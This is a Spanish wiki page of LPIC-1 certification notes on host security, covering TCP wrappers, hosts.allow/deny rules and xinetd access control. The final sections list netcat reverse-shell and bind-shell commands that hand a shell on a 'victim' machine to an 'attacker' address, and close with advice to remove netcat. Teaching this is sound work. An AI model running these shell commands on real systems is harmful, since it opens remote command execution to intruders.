La wiki de TempWin

Esta página es de solo lectura. Puedes ver la fuente pero no puedes cambiarla. Pregunta a tu administrador si crees que esto es incorrecto.
====== 110.2 Setup host security ======

Pertenece a [[informatica:certificaciones:lpic:lpic-1:110_security|Topic 110: Security]]

  * **Weight**: 3
  * **Description**: Candidates should know how to set up a basic level of host security.
  * **Key Knowledge Areas**:
    * Awareness of shadow passwords and how they work.
    * Turn off network services not in use.
    * Understand the role of TCP wrappers.
  * The following is a partial list of the used files, terms and utilities:
    * ''/etc/nologin''
    * ''/etc/passwd''
    * ''/etc/shadow''
    * ''/etc/xinetd.d/''
    * ''/etc/xinetd.conf''
    * ''systemd.socket''
    * ''/etc/inittab''
    * ''/etc/init.d/''
    * ''/etc/hosts.allow''
    * ''/etc/hosts.deny''

===== Auditar acceso a servicios del sistema =====

==== TCP Wrappers ====

Los **tcp_wrappers** permiten la comprobación de los accesos a un servicio de red determinado (service, xinetd, portmapper).

<WRAP center round important 60%>
En un futuro próximo ya no entrará en los exámenes de certificación porque está en desuso.
</WRAP>

Para verificar una regla, el sistema lee primero ''/etc/hosts.allow'', luego ''/etc/hosts.deny''. La búsqueda se detiene a la primera correspondencia encontrada. Una línea en ''hosts.allow'' autoriza la conexión. Una línea en ''hosts.deny'' prohibe la conexión. Si no se deniega de manera explícita el acceso, se autoriza: la petición no corresponde a ningún criterio.

Sintaxis:

<code>
servicio : <host> : [accion/es]
</code>

  * ''ALL'': Todos los servicios o hosts
  * Hosts: .dominio.com | 192.168. | 192.168.1.0/255.255.255.0
  * ''UNKNOWN'': host cuyo nombre no se puede resolver
  * ''KNOWN'': host cuyo nombre se puede resolver
  * ''EXCEPT'': excluye hosts.
  * Acciones (opcional):
    * ''spawn'': ejecuta comandos
    * ''severity'': manda mensajes al log

Ejemplo ''/etc/hosts.allow'':

<code>
sshd: 192.168.1.
apache2: puesto1, puesto2
</code>

Ejemplo: ''/etc/hosts.deny''

<code>
dovecot : 192.168.0. EXCEPT 192.168.0.5
ftp: 192.168.10. : spawn /bin/echo "ALGUIEN INTENTA CONECTARSE" >> /var/log/ftp.log
</code>

En el siguiente ejemplo, configuraremos los ficheros para que:

  * Solo los miembros de la subred 192.168.33.0 tengan permiso para conectarse al servidor FTP (prohibido para todos los demás).
  * Los hosts puesto1 y puesto2 tienen acceso a telnet y portmap.
  * Los hosts de baddominio.org, excepto trusted, no tienen conexión alguna posible.
  * Se prohibe el servicio pop/imap a todos los de la red 192.168.0.0, salvo 192.168.1.5

Fichero ''/etc/hosts.allow'':

<code>
vsftpd: 192.168.33.
in.telnetd, portmap: puesto1, puesto2
ALL:/opt/script/supervisamem
servicio: lista_de_hosts [:shell_command]
</code>

Fichero ''/etc/hosts.deny'':

<code>
ALL: .baddominio.org except trusted.baddominio.org UNKNOWN
vsftpd,in.telnetd,portmap: ALL
vsftpd: ALL
dovecot: 192.168.0. EXCEPT 192.168.0.5 UNKNOWN
</code>

Entre los servicios que utilizan las tcp_wrappers encontramos:

  * sendmail (incluyendo postfix)
  * sshd (ssh)
  * xinetd
  * vsftpd (ftp)
  * portmap (y, por tanto, nis, nfs...)
  * dovecot (imap, pop)

Una forma de saber si un programa utiliza o no tcp_wrappers:

<code>
strings -f /usr/sbin/sshd | grep hosts_access
</code>

Si no devuelve ninguna línea, el programa no usa tcp_wrappers y entonces no podríamos controlarlo con los ficheros ''/etc/hosts.allow'' y ''/etc/hosts.deny''.

==== Xinetd ====

Xinetd es un "superdemonio" que gestiona varios servicios habituales de red del sistema como Telnet, FTP o IMAP, y que hace las veces de TCP Wrapper con dichos servicios, pudiendo definir reglas de acceso a estos.

<WRAP center round info 60%>
A día de hoy, xinetd está en desuso, pero en Debian se puede instalar con ''apt install xinetd''
</WRAP>

La configuración del xinetd se encuentra en:

  * ''/etc/xinetd.conf''
  * ''/etc/xinetd.d/*''

Ejemplo:

<code>
service telnet
{
    flags = REUSE
    socket_type = stream
    wait = no
    user = root
    server = /usr/sbin/in.telnetd
    log_on_failure += USERID
    disable = no
}
service ssh
{
    disable = no
    socket_type = stream
    protocol = tcp
    port = 22
    wait = no
    user = root
    server = /usr/sbin/sshd
    server_args = -i
}
</code>

Directivas de control de acceso:

  * ''only_from'': Solo permite que las máquinas específicas usen el servicio
  * ''no_access'': Impide que estas máquinas usen el servicio
  * ''access_times'': Especifica el intervalo de tiempo en el que un determinado servicio puede ser usado. El rango de tiempo debe especificarse en formato de 24 horas, HH:MM-HH:MM

Ejemplos:

<code>
no_access = 10.0.1.0/24
access_times = 09:45-16:15
</code>

Si modificamos los ficheros de configuración, reiniciamos los servicios:

<code>
service xinetd restart
</code>

===== Shell reverse con Netcat =====

En la máquina del atacante (192.168.33.10):

<code>
nc -lvp 1234
</code>

En la máquina de la víctima (192.168.33.11):

<code>
nc -e /bin/sh 192.168.33.10 1234
</code>

===== Bind shell con Netcat =====

Una bind shell, a diferencia de la reverse, la escucha se realiza en la máquina víctima. 

En la máquina de la víctima (192.168.33.11):

<code>
nc -l -4 -v -p 1234 -e /bin/sh &
</code>

En la máquina del atacante (192.168.33.10):

<code>
nc 192.168.33.11 1234
</code>

Podemos empezar a ejecutar comandos en la máquina de la víctima.

<WRAP center round important 60%>
Si no vamos a usarlo para nada, es mejor no tener instalado netcat en nuestros sistemas para evitar estas shells remotas.
</WRAP>